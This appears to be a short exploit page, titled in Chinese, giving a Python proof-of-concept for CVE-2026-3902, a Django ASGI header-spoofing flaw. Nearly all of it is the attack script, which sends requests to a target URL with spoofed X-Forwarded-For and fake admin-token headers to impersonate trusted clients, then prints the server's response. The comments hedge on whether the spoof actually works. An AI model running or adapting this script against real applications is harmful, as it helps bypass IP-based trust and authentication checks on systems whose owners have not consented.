CVE-2026-3902 Django ASGI头部欺骗漏洞

import asyncio import httpx async def exploit_asgi(): """ PoC for CVE-2026-3902: Django ASGI Header Spoofing Demonstrates sending a hyphenated header to potentially override an underscore-parsed header in vulnerable Django versions. """ target_url = "http://vulnerable-django-app/api/test" # Attempt to spoof a header that the application might trust. # For example, if the app looks for 'X_FORWARDED_FOR' (underscore), # we send 'X-Forwarded-For' (hyphen) which might map to the same key # or cause ambiguous behavior in the vulnerable ASGI handler. headers = { "User-Agent": "CVE-2026-3902-Scanner", "X-Forwarded-For": "1.1.1.1", # Spoofed IP "X-Auth-Secret": "spoofed_admin_token" } async with httpx.AsyncClient() as client: try: response = await client.get(target_url, headers=headers, timeout=5.0) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text[:200]}") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": asyncio.run(exploit_asgi())